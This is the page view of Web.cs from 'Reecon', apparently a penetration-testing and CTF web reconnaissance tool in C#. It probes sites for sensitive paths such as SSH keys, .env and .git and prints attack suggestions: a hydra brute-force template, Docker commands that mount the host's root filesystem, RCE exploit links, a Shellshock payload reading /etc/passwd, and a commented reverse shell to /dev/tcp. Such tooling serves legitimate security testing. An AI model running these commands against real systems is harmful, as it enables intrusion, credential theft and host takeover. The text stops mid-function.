-
Notifications
You must be signed in to change notification settings - Fork 4
/
Web.cs
2000 lines (1881 loc) · 109 KB
/
Web.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Net.Sockets;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Text.Json;
using System.Text.RegularExpressions;
namespace Reecon
{
class Web
{
static string scanURL = "";
static List<string> fullPageList = new List<string>();
public static void GetInfo(string[] args)
{
if (args.Length != 2)
{
Console.WriteLine("Web Usage: reecon -web http://site.com/");
return;
}
scanURL = args[1];
if (!scanURL.StartsWith("http"))
{
Console.WriteLine("Invalid URL - Must start with http");
return;
}
Console.WriteLine("Scanning...");
// First - Scan the base page
var httpInfo = Web.GetHTTPInfo(scanURL);
string pageText = httpInfo.PageText;
if (httpInfo.AdditionalInfo != null)
{
Console.WriteLine("- " + httpInfo.AdditionalInfo);
}
else
{
string pageInfo = FindInfo(pageText);
// Add a newline if it returns something
pageInfo += pageInfo != "" ? Environment.NewLine : "";
pageInfo += FindLinks(pageText); // Todo: Recursive
// TODO: Auto SQLi - Web.GetInfo(new[] { "-web", "http://testphp.vulnweb.com/" });
string parsedHTTPInfo = ParseHTTPInfo(httpInfo.StatusCode, httpInfo.PageTitle, httpInfo.PageText, httpInfo.DNS, httpInfo.Headers, httpInfo.SSLCert, httpInfo.URL);
Console.WriteLine(parsedHTTPInfo);
if (pageInfo.Trim() != "")
{
Console.WriteLine(pageInfo);
}
// Then find common files
Console.WriteLine("Searching for common files...");
string commonFiles = FindCommonFiles(scanURL);
if (commonFiles.Trim() != String.Empty)
{
Console.WriteLine(commonFiles);
}
}
Console.WriteLine("Web Info Scan Finished");
}
public static string FindInfo(string pageText, bool doubleDash = false)
{
string foundInfo = "";
if (pageText == null)
{
Console.WriteLine("ReeDebug - Web.FindInfo - pageText is null - WTF?");
return "";
}
if (pageText.Trim() != "")
{
foundInfo += FindFormData(pageText);
foundInfo += FindEmails(pageText, doubleDash);
return foundInfo.Trim(Environment.NewLine.ToCharArray());
}
return "";
}
private static string FindFormData(string text)
{
// This is very hacky and will probably break
// I can't just use the WebBrowser control since it's not cross-platform on devices with no GUI
string returnText = "";
try
{
if (text.Contains("<form"))
{
text = text.Remove(0, text.IndexOf("<form"));
if (text.Contains("</form>"))
{
returnText += "- Form Found" + Environment.NewLine;
text = text.Substring(0, text.IndexOf("</form>"));
// Form title / actions
string formHeader = text.Substring(0, text.IndexOf(">"));
if (formHeader.Replace(" ", "").Contains("method=\""))
{
string formMethod = formHeader.Remove(0, formHeader.IndexOf("method"));
formMethod = formMethod.Remove(0, formMethod.IndexOf("\"") + 1);
formMethod = formMethod.Substring(0, formMethod.IndexOf("\""));
returnText += "-- Method: " + formMethod + Environment.NewLine;
}
if (formHeader.Replace(" ", "").Contains("action=\""))
{
string formAction = formHeader.Remove(0, formHeader.IndexOf("action"));
formAction = formAction.Remove(0, formAction.IndexOf("\"") + 1);
formAction = formAction.Substring(0, formAction.IndexOf("\""));
returnText += "-- Action: " + formAction + Environment.NewLine;
}
// Inputs
List<string> inputs = text.Split("<input").ToList();
inputs = inputs.Where(x => !x.StartsWith("<form")).ToList();
inputs = inputs.Where(x => !x.Contains("\"hidden\"")).ToList(); // Some additional properties - Not related to what the user sees
string username = null;
string password = null;
foreach (string item in inputs)
{
// Textbox
if (item.Replace(" ", "").Contains("type=\"text\""))
{
returnText += "-- Textbox Discovered" + Environment.NewLine;
if (item.Contains(" name=\""))
{
string textBoxName = item.Remove(0, item.IndexOf("name"));
textBoxName = textBoxName.Remove(0, textBoxName.IndexOf("\"") + 1);
textBoxName = textBoxName.Substring(0, textBoxName.IndexOf("\""));
returnText += $"--- Name: {textBoxName}" + Environment.NewLine;
username = textBoxName;
}
}
// Password Box
if (item.Replace(" ", "").Contains("type=\"password\""))
{
returnText += "-- Password Input Discovered" + Environment.NewLine;
// Textbox
if (item.Contains(" name=\""))
{
string textBoxName = item.Remove(0, item.IndexOf("name"));
textBoxName = textBoxName.Remove(0, textBoxName.IndexOf("\"") + 1);
textBoxName = textBoxName.Substring(0, textBoxName.IndexOf("\""));
returnText += $"--- Name: {textBoxName}" + Environment.NewLine;
password = textBoxName;
}
}
}
// Submits
List<string> submitButtons = text.Split("<button").ToList();
submitButtons = submitButtons.Where(x => !x.StartsWith("<form")).ToList();
submitButtons = submitButtons.Where(x => x.Contains("\"submit\"")).ToList();
// This will only work in the best of cases
if ((inputs.Count == 3 || (inputs.Count == 2 && submitButtons.Count == 1)) && username != null && password != null)
{
returnText += "-- " + "Possible Login Form Found".Recolor(Color.Orange) + Environment.NewLine;
returnText += "--- " + $"hydra -l logins.txt -p passwords.txt 127.0.0.1 http-form-post \"/folder/post.php:{username}=^USER^&{password}=^PASS^:Invalid password error here\"".Recolor(Color.Orange) + Environment.NewLine;
}
}
}
}
catch (NullReferenceException)
{
Console.WriteLine($"Rare NRE in Web.FindFormData with text: {text} - Bug Reelix");
}
return returnText;
}
private static string FindEmails(string text, bool doubleDash)
{
string returnInfo = "";
// Do not change this Regex
Regex emailRegex = new(@"\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}\b", RegexOptions.IgnoreCase);
MatchCollection emailMatches = emailRegex.Matches(text);
List<string> matchList = General.MatchCollectionToList(emailMatches);
foreach (string match in matchList)
{
if (doubleDash)
{
returnInfo += "-- EMail: " + match + Environment.NewLine;
}
else
{
returnInfo += "- EMail: " + match + Environment.NewLine;
}
}
return returnInfo;
}
private static string FindLinks(string pageText, bool doubleDash = false)
{
List<string> currentPageList = new List<string>();
// Find all matches
MatchCollection m1 = Regex.Matches(pageText, @"(<a.*?>.*?</a>)", RegexOptions.Singleline);
// Loop over each match.
foreach (Match m in m1)
{
string value = m.Groups[1].Value;
string href = "";
// Get href attribute.
Match m2 = Regex.Match(value, @"href=\""(.*?)\""", RegexOptions.Singleline);
if (m2.Success)
{
href = m2.Groups[1].Value;
}
// Remove inner tags from text.
string text = Regex.Replace(value, @"\s*<.*?>\s*", "", RegexOptions.Singleline);
if (href.StartsWith("/"))
{
if (scanURL.EndsWith("/"))
{
href = scanURL + href.TrimStart('/');
if (!href.StartsWith(scanURL))
{
href = scanURL + href;
}
}
}
if (href.Length > 1 && !href.StartsWith("#")) // Section - Not actual URL
{
string info = doubleDash ? "-- " : "- ";
info += $"{text}: {href}";
if (!currentPageList.Contains(info))
{
currentPageList.Add(info);
Uri parentURL = new Uri(scanURL);
if (href.StartsWith("http"))
{
Uri theURL = new Uri(href);
// Don't add off-host link
if (theURL.Host == parentURL.Host)
{
fullPageList.Add(theURL.PathAndQuery);
}
}
else
{
fullPageList.Add(href);
}
}
}
}
// Convert to a nice string to return
string returnInfo = "";
foreach (string page in currentPageList)
{
returnInfo += page + Environment.NewLine;
}
return returnInfo.Trim(Environment.NewLine.ToCharArray());
}
// Maybe later
private static void FindNewPages(string pageToScan)
{
var pageText = GetHTTPInfo(pageToScan).PageText;
FindLinks(pageText, false);
}
public static string FindCommonFiles(string url)
{
string returnText = "";
if (!url.EndsWith("/"))
{
url += "/";
}
// Wildcard test
int notFoundLength = -1;
int notFoundLength2 = -1; // For times when the NotFound page contains the search text
int notFoundLengthPHP = -1;
int notFoundLengthPHP2 = -1;
int ignoreFileLength = -1;
int ignoreFolderLength = -1;
// Currently google-able - Need to randomise
string wildcardURL = url + "be0df04b-f5ff-4b4f-af99-00968cf08fed";
bool ignoreNotFound = false; // To implement later if there is consistently too much varition in 404 content length (Drupal is a major offender here...)
bool ignoreRedirect = false;
bool ignoreForbidden = false;
bool ignoreBadRequest = false;
// Exploits
bool nginxAliasTraversalChecked = false;
// Testing Wildcards
var pageResult = Web.GetHTTPInfo(wildcardURL);
string pageResultText = pageResult.PageText;
if (pageResult.StatusCode == HttpStatusCode.OK)
{
ignoreFileLength = pageResultText.Length;
returnText += $"- Wildcard paths such as {wildcardURL} return - This may cause issues..." + Environment.NewLine;
}
else if (pageResult.StatusCode == HttpStatusCode.Redirect || pageResult.StatusCode == HttpStatusCode.Moved)
{
ignoreRedirect = true;
returnText += $"- Wildcard paths such as {wildcardURL} redirect - This may cause issues..." + Environment.NewLine;
}
else if (pageResult.StatusCode == HttpStatusCode.Forbidden)
{
ignoreForbidden = true;
returnText += $"- Wildcard paths such as {wildcardURL} are forbidden - This may cause issues..." + Environment.NewLine;
}
else if (pageResult.StatusCode == HttpStatusCode.BadRequest)
{
ignoreBadRequest = true;
returnText += $"- Wildcard paths such as {wildcardURL} return a bad request - This may cause issues..." + Environment.NewLine;
}
else if (pageResult.StatusCode == HttpStatusCode.NotFound)
{
notFoundLength = pageResultText.Length;
notFoundLength2 = pageResultText.Replace("be0df04b-f5ff-4b4f-af99-00968cf08fed", "").Length;
// returnText += "NFL 1: " + notFoundLength + Environment.NewLine;
// returnText += "NFL 2: " + notFoundLength2 + Environment.NewLine;
}
// PHP wildcards can be differnt
bool ignorePHP = false;
bool ignorePHPRedirect = false;
string phpWildcardURL = wildcardURL + ".php";
pageResult = Web.GetHTTPInfo(phpWildcardURL);
pageResultText = pageResult.PageText;
if (pageResult.StatusCode == HttpStatusCode.OK)
{
ignorePHP = true;
returnText += $"- .php wildcard paths such as {phpWildcardURL} return - This may cause issues..." + Environment.NewLine;
}
else if (pageResult.StatusCode == HttpStatusCode.Redirect || pageResult.StatusCode == HttpStatusCode.Moved)
{
ignorePHPRedirect = true;
returnText += $"- .php wildcard paths such as {phpWildcardURL} redirect - This may cause issues..." + Environment.NewLine;
}
else if (pageResult.StatusCode == HttpStatusCode.NotFound)
{
notFoundLengthPHP = pageResultText.Length;
notFoundLengthPHP2 = pageResultText.Replace("be0df04b-f5ff-4b4f-af99-00968cf08fed.php", "").Length;
// returnText += "Using PHP NFL" + Environment.NewLine;
// returnText += "PHP NFL 1: " + notFoundLength + Environment.NewLine;
// returnText += "PHP NFL 2: " + notFoundLength2 + Environment.NewLine;
}
// Folder wildcards can also be different
var folderWildcard = Web.GetHTTPInfo(wildcardURL + "/");
if (folderWildcard.StatusCode == HttpStatusCode.OK)
{
ignoreFolderLength = folderWildcard.PageText.Length;
}
// Mini gobuster :p
List<string> commonFiles = new()
{
// robots.txt - Of course
"robots.txt",
// Most likely invalid folder for test purposes
"woof/",
// Common hidden folders
"hidden/",
"secret/",
"backup/",
"backups/",
"dev/",
"development/",
// Common Index files
"index.php",
"index.html",
"index.jsp",
"index.nginx-debian.html", // If they didn't remove the default nginx config file
// Common upload paths
"upload/",
"uploads/",
"upload.html",
"upload.php",
// Common images folder
"images/",
// Hidden mail server
"mail/",
// Admin stuff
"admin.php",
"admin/",
"administrator/",
"manager/",
// Access details
".htaccess",
// Git repo
".git/HEAD",
// SSH
".ssh/id_rsa",
// Bash History
".bash_history",
// NodeJS Environment File
".env",
// PHP Composer configuration file
"composer.json",
// General info file
".DS_STORE",
// Wordpress stuff
"blog/",
"wordpress/",
"wordpress/wp-config.php.bak",
"wp-config.php",
"wp-config.php.bak",
// Other blog stuff
"blogs/",
// phpmyadmin
"phpmyadmin/",
"phpMyAdmin", // Some are case sensitive
// Kibana
"app/kibana",
// Bolt CMS
"bolt-public/img/bolt-logo.png",
// Shellshock and co
"cgi-bin/",
// Well-Known
".well-known/", // https://www.google.com/.well-known/security.txt
// Docker and other common versions
"version",
"version.txt",
// PHP stuff
"vendor/",
"phpinfo.php", // Hopefully no-one has this uploaded :p
// Java - Spring
"functionRouter",
// APIs
"api",
// A bit CTFy
"server-status",
"LICENSE",
"help",
"info",
"files/",
"console"
};
if (ignorePHP)
{
commonFiles.RemoveAll(x => x.EndsWith(".php"));
}
// returnText += "NFL Len 1: " + notFoundLength + Environment.NewLine;
// returnText += "NFL Len 2: " + notFoundLength2 + Environment.NewLine;
foreach (string file in commonFiles)
{
string path = url + file;
var response = Web.GetHTTPInfo(path);
if (response.StatusCode == HttpStatusCode.OK)
{
// Since it's readable - Let's deal with it!
try
{
string pageText = response.PageText;
// Ack
if (pageText.Length != notFoundLength &&
pageText.Replace(file, "").Length != notFoundLength2 &&
pageText.Length != ignoreFileLength &&
(!file.EndsWith("/") || (pageText.Length != ignoreFolderLength)))
{
returnText += "- " + $"Common Path is readable: {url}{file} (Len: {pageText.Length})".Recolor(Color.Orange) + Environment.NewLine;
// Specific case for robots.txt since it's common and extra useful
if (file == "robots.txt")
{
foreach (var line in pageText.Split(Environment.NewLine.ToCharArray()))
{
if (line != "")
{
returnText += "-- " + line + Environment.NewLine;
}
}
}
// Bolt
else if (file == "bolt-public/img/bolt-logo.png")
{
returnText += "-- Bolt CMS!".Recolor(Color.Orange) + Environment.NewLine;
returnText += $"-- Admin Page: {url}bolt" + Environment.NewLine;
returnText += "-- If you get details and the version is 3.6.* or 3.7: https://www.rapid7.com/db/modules/exploit/unix/webapp/bolt_authenticated_rce OR https://github.com/r3m0t3nu11/Boltcms-Auth-rce-py/blob/master/exploit.py (3.7.0)" + Environment.NewLine;
}
// Docker Engine
else if (file == "version" && pageText.Contains("Docker Engine - Community"))
{
// Port 2375
returnText += "-- Docker Engine Found!".Recolor(Color.Orange) + Environment.NewLine;
string dockerURL = url.Replace("https://", "tcp://").Replace("http://", "tcp://").Trim('/');
returnText += $"--- List running Dockers: docker -H {dockerURL} ps" + Environment.NewLine;
returnText += $"--- List Docker Images: docker -H {dockerURL} images" + Environment.NewLine;
returnText += $"--- Mount Root FS: docker -H {dockerURL} run -it -v /:/woof imageName:ver bash" + Environment.NewLine;
}
// Git repo!
else if (file == ".git/HEAD")
{
returnText += "-- Git repo found!" + Environment.NewLine;
// https://github.com/arthaud/git-dumper/issues/9
try
{
if (DownloadString($"{url}.git/").Text.Contains("../"))
{
// -q: Quiet (So the console doesn't get spammed)
// -r: Download everything
// -np: But don't go all the way backwards
// -nH: So you only have the ".git" folder and not the IP folder as well
returnText += $"--- Download the repo: wget -q -r -np -nH {url}.git/" + Environment.NewLine;
returnText += "--- Get the logs: git log --pretty=format:\"%h - %an (%ae): %s %b\"" + Environment.NewLine;
// git log --pretty=format:"%h - %an (%ae): %s %b"
// db.sqlite3
returnText += "--- Show a specific commit: git show 2eb93ac (Press q to close)" + Environment.NewLine;
// https://stackoverflow.com/questions/34751837/git-can-we-recover-deleted-commits
returnText += "--- Find deleted commits: git reflog" + Environment.NewLine;
continue;
}
}
catch (Exception ex)
{
Console.WriteLine($"Error in git - Bug Reelix: {ex.Message}");
}
returnText += "--- Download: https://raw.githubusercontent.com/arthaud/git-dumper/master/git_dumper.py" + Environment.NewLine;
returnText += $"--- Run: python3 git_dumper.py {url}{file} .git" + Environment.NewLine;
returnText += "--- Get the logs: git log --pretty=format:\"%h - %an (%ae): %s %b\"" + Environment.NewLine;
returnText += "--- Show a specific comm it: git show 2eb93ac (Press q to close)" + Environment.NewLine;
}
// Kibana!
else if (file == "app/kibana")
{
returnText += "-- Kibana!" + Environment.NewLine;
try
{
string toCheck = $"{url}{file}";
string pageData = DownloadString($"{url}{file}").Text;
if (pageData.IndexOf(""version":"") != -1)
{
string versionText = pageData.Remove(0, pageData.IndexOf(""version":"") + 26);
versionText = versionText.Substring(0, versionText.IndexOf("""));
returnText += "--- Version: " + versionText + Environment.NewLine;
returnText += "---- Kibana versions before 5.6.15 and 6.6.1 -> CVE-2019-7609 -> https://github.com/mpgn/CVE-2019-7609" + Environment.NewLine;
}
else
{
returnText += $"--- Version: {url}{file}#/management/" + Environment.NewLine;
}
}
catch
{
returnText += $"--- Version: {url}{file}#/management/" + Environment.NewLine;
}
returnText += $"--- Elasticsearch Console: {url}{file}#/dev_tools/console" + Environment.NewLine;
returnText += "---- General Info: GET /" + Environment.NewLine;
returnText += "---- Get Indices: GET /_cat/indices?v" + Environment.NewLine;
// These aren't meant to be params
returnText += "---- Get Index Info: GET /{index}/_search/?pretty&size={docs.count}" + Environment.NewLine;
}
// Shellshock
else if (file == "cgi-bin/")
{
// curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://path/cgi-bin/valid.cgi
returnText += "-- Possible Shellshock - Search for valid files inside here" + Environment.NewLine;
returnText += "--- // Test: curl -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd;' http://1.2.3.4/cgi-bin/valid.cgi" + Environment.NewLine;
// Shell: curl -H "User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.6.2.249/9001 0>&1;" http://10.10.175.194/cgi-bin/valid.cgi"
}
// Directory listing
else if (response.PageTitle.StartsWith("Index of /"))
{
returnText += "-- " + "Open directory listing".Recolor(Color.Orange) + Environment.NewLine;
// nginx Alias Traversal
if (!nginxAliasTraversalChecked)
{
if (response.Headers.Any(x => x.Key == "Server" && x.Value.Any(x => x.StartsWith("nginx"))))
{
string traversalPath = path.Remove(path.Length - 1, 1) + "../";
var traversalResponse = Web.GetHTTPInfo(traversalPath);
if (traversalResponse.PageTitle.Contains("Index of "))
{
returnText += "--- " + "nginx Alias Traversal!!!".Recolor(Color.Orange) + Environment.NewLine;
returnText += "--- " + traversalPath.Recolor(Color.Orange) + Environment.NewLine;
}
}
nginxAliasTraversalChecked = true;
}
}
// Generic
else
{
string usefulInfo = Web.FindInfo(pageText, true);
if (usefulInfo.Trim(Environment.NewLine.ToCharArray()) != "")
{
returnText += usefulInfo + Environment.NewLine;
}
}
}
}
catch (Exception ex)
{
Console.WriteLine("Bug Reelix - HTTP.FindCommonFiles Error: " + ex.Message + Environment.NewLine);
}
}
else if (response.StatusCode == HttpStatusCode.BadRequest)
{
// Bad Request is still useful - Unless we're ignoring it
if (!ignoreBadRequest)
{
returnText += $"- Common Path is a Bad Request: {url}{file}" + Environment.NewLine;
}
}
else if (response.StatusCode == HttpStatusCode.Forbidden)
{
// Forbidden is still useful - Unless we're ignoring it
if (!ignoreForbidden)
{
returnText += $"- Common Path is Forbidden: {url}{file}" + Environment.NewLine;
}
}
else if (response.StatusCode == HttpStatusCode.Redirect || response.StatusCode == HttpStatusCode.Moved)
{
if (ignoreRedirect)
{
continue;
}
if (file.EndsWith(".php") && ignorePHPRedirect)
{
continue;
}
returnText += $"- Common Path redirects: {url}{file}" + Environment.NewLine;
if (response.Headers != null && response.Headers.Location != null)
{
returnText += $"-- Redirection Location: {response.Headers.Location}" + Environment.NewLine;
// If it's an IP then it's probably redirecting to a host
if (IPAddress.TryParse(url, out _))
{
returnText += $"--- Original is an IP - Bug Reelix to fix!" + Environment.NewLine;
}
}
}
else if (response.StatusCode == HttpStatusCode.Unauthorized)
{
returnText += $"- Common path requires authentication: {url}{file}" + Environment.NewLine;
var headers = response.Headers;
if (headers.Contains("WWW-Authenticate"))
{
returnText += $"-- WWW-Authenticate: {headers.GetValues("WWW-Authenticate").First()}" + Environment.NewLine;
}
}
else if (response.StatusCode == 0)
{
returnText += $"- " + "Host timed out - Unable to enumerate".Recolor(Color.Red);
break;
}
else if (response.StatusCode == HttpStatusCode.InternalServerError)
{
returnText += $"- Common path throws an Internal Server Error: {url}{file}" + Environment.NewLine;
if (file == "functionRouter")
{
returnText += "-- " + "An Internal Server Error on functionRouter indicates that it's probably a Java Spring app - You should investigate this!".Recolor(Color.Orange) + Environment.NewLine;
}
}
else if (response.StatusCode == HttpStatusCode.TemporaryRedirect)
{
// Normally just http -> https
var headers = response.Headers;
if (url.StartsWith("http") && headers.Contains("Location") && (headers.Location.ToString().StartsWith("https")))
{
continue;
}
else
{
// If it's not - Display it
Console.WriteLine($"-- Weird TemporaryRedirect: {url}{file}" + Environment.NewLine);
}
}
else if (response.StatusCode == HttpStatusCode.NotFound && response.Headers.Contains("Docker-Distribution-Api-Version"))
{
string dockerVersion = response.Headers.GetValues("Docker-Distribution-Api-Version").First();
returnText += "-- Docker Detected - API Version: " + dockerVersion + Environment.NewLine;
if (dockerVersion == "registry/2.0")
{
string repoText = DownloadString($"{url}v2/_catalog").Text;
if (repoText.Contains("repositories"))
{
try
{
var repoList = JsonDocument.Parse(repoText);
foreach (var item in repoList.RootElement.GetProperty("repositories").EnumerateArray())
{
returnText += "--- Repo Found: " + item + Environment.NewLine;
string tagList = DownloadString($"{url}v2/" + item + "/tags/list").Text;
tagList = tagList.Replace("\r", "").Replace("\n", ""); // Sometimes has a built in newline for some reason
returnText += "---- Tags Found: " + tagList + Environment.NewLine;
returnText += $"------> {url}v2/{item}/manifests/tagNameHere (End of the above)";
// /v2/cmnatic/myapp1/tags/list
// --> /cmnatic/myapp1/manifests/notsecure
}
// Every notfound will be the same
break;
}
catch
{
returnText += "--- Unable to deserialize repo - Bug Reelix!" + Environment.NewLine;
break;
}
}
returnText += repoText;
}
else
{
returnText += "-- Unknown Docker API Version - Bug Reelix!";
}
}
// It's a 404, but not a native 404
else if (response.StatusCode == HttpStatusCode.NotFound &&
!ignoreNotFound &&
response.PageText.Length != notFoundLength &&
response.PageText.Replace(file, "").Length != notFoundLength2)
{
if (file.EndsWith(".php") && response.PageText.Length == notFoundLengthPHP ||
response.PageText.Replace(file, "").Length == notFoundLengthPHP2)
{
continue;
}
returnText += $"-- Maybe, Maybe Not: {url}{file}" + Environment.NewLine;
// returnText += "-- Page Len: " + response.PageText.Length + Environment.NewLine;
// returnText += "-- Page Len Repl: " + response.PageText.ToLower().Replace(file.ToLower(), "").Length + Environment.NewLine;
string pageText = response.PageText.Trim();
pageText = pageText.Length > 250 ? pageText.Substring(0, 250) + "..." : pageText;
returnText += $"--- {pageText}" + Environment.NewLine;
}
// Something else - Just print the response
else if (response.StatusCode != HttpStatusCode.NotFound &&
response.StatusCode != HttpStatusCode.TooManyRequests &&
response.StatusCode != HttpStatusCode.ServiceUnavailable)
{
if (response.PageText != "")
{
returnText += $"-- Page Text: {response.PageText}" + Environment.NewLine;
}
}
}
return returnText.Trim(Environment.NewLine.ToArray());
}
public static (HttpStatusCode StatusCode, string PageTitle, string PageText, string DNS, HttpResponseHeaders Headers, X509Certificate2 SSLCert, string URL, string AdditionalInfo) GetHTTPInfo(string url, string userAgent = null, string cookie = null)
{
string pageTitle = "";
string pageText = "";
string dns = "";
HttpStatusCode statusCode = new();
HttpResponseHeaders headers = null;
X509Certificate2 cert = null;
// Ignore invalid SSL Cert
var httpClientHandler = new HttpClientHandler()
{
UseCookies = false // Needed for a custom Cookie header
};
httpClientHandler.ServerCertificateCustomValidationCallback += (sender, certificate, chain, sslPolicyErrors) =>
{
if (certificate != null)
{
cert = new X509Certificate2(certificate);
}
return true;
};
httpClientHandler.AllowAutoRedirect = false;
HttpClient httpClient = new HttpClient(httpClientHandler);
Uri theURL = new Uri(url);
HttpRequestMessage httpClientRequest = new HttpRequestMessage(HttpMethod.Get, theURL);
// Optional params
if (userAgent != null)
{
httpClientRequest.Headers.UserAgent.TryParseAdd(userAgent);
}
if (cookie != null)
{
// Console.WriteLine("Web.cs Debug - Setting Cookie to " + cookie);
httpClientRequest.Headers.Add("Cookie", cookie);
}
try
{
httpClient.Timeout = TimeSpan.FromMilliseconds(5000);
HttpResponseMessage httpClientResponse = httpClient.Send(httpClientRequest);
statusCode = httpClientResponse.StatusCode;
dns = theURL.DnsSafeHost;
headers = httpClientResponse.Headers;
using (StreamReader readStream = new(httpClientResponse.Content.ReadAsStream()))
{
pageText = readStream.ReadToEnd();
}
}
catch (TimeoutException ex)
{
Console.WriteLine("HttpClient Timeout Error: " + ex.Message);
}
catch (WebException wex)
{
Console.WriteLine("Here: " + wex.Message);
}
catch (Exception ex)
{
if (ex.Message.StartsWith("The SSL connection could not be established, see inner exception"))
{
// Not valid
return (statusCode, null, null, null, null, null, null, null);
}
else if (ex.Message.StartsWith("The request was canceled due to the configured HttpClient.Timeout of "))
{
// Why is this not caught in the TimeoutException...
Console.WriteLine($"- Odd TimeoutError - {url} timed out: {ex.Message} - Bug Reelix".Recolor(Color.Red));
return (statusCode, null, null, null, null, null, url, "Timed Out :(");
}
else if (ex.InnerException != null && ex.InnerException.GetType().IsAssignableFrom(typeof(IOException)))
{
if (ex.InnerException.Message == "The response ended prematurely.")
{
return (HttpStatusCode.BadRequest, null, null, null, null, null, url, "WTF");
}
else
{
// Soome weird cert thing
// * schannel: failed to read data from server: SEC_E_CERT_UNKNOWN (0x80090327) - An unknown error occurred while processing the certificate.
return (statusCode, null, null, null, null, null, url, "WeirdSSL");
}
}
else if (ex.InnerException != null && ex.InnerException.GetType().IsAssignableFrom(typeof(SocketException)))
{
if (ex.InnerException.Message == "Name or service not known")
{
return (statusCode, null, null, null, null, null, url, $"The url {url} does not exist - Maybe fix your /etc/hosts file?");
}
else
{
Console.WriteLine("Reecon.Web - Fatal Exception - Bug Reelix - SocketException: " + ex.InnerException.Message);
}
}
// An error occurred while sending the request.System.Net.Http.HttpIOException: The response ended prematurely. (ResponseEnded) ???
// Looks like I came across this before, but couldn't figure it out then either
else
{
Console.WriteLine("HttpClient rewrite had an error: " + ex.Message + ex.InnerException);
}
}
// Returns nothing on Twitter since they set their titles weirdly
if (pageText.Contains("<title>") && pageText.Contains("</title>"))
{
pageTitle = pageText.Remove(0, pageText.IndexOf("<title>") + "<title>".Length);
pageTitle = pageTitle.Substring(0, pageTitle.IndexOf("</title>"));
}
return (statusCode, pageTitle, pageText, dns, headers, cert, url, null);
}
public static string ParseHTTPInfo(HttpStatusCode StatusCode, string PageTitle, string PageText, string DNS, HttpResponseHeaders Headers, X509Certificate2 SSLCert, string URL)
{
string toReturn = "";
string urlPrefix = URL.StartsWith("https") ? "https" : "http";
Uri theURI = new Uri(URL);
string customPort = theURI.IsDefaultPort ? "" : ":" + theURI.Port.ToString();
string baseURL = urlPrefix + "://" + DNS + customPort;
string urlWithSlash = URL.EndsWith("/") ? URL : URL + "/";
// Not OK - Check what's up
if (StatusCode != HttpStatusCode.OK)
{
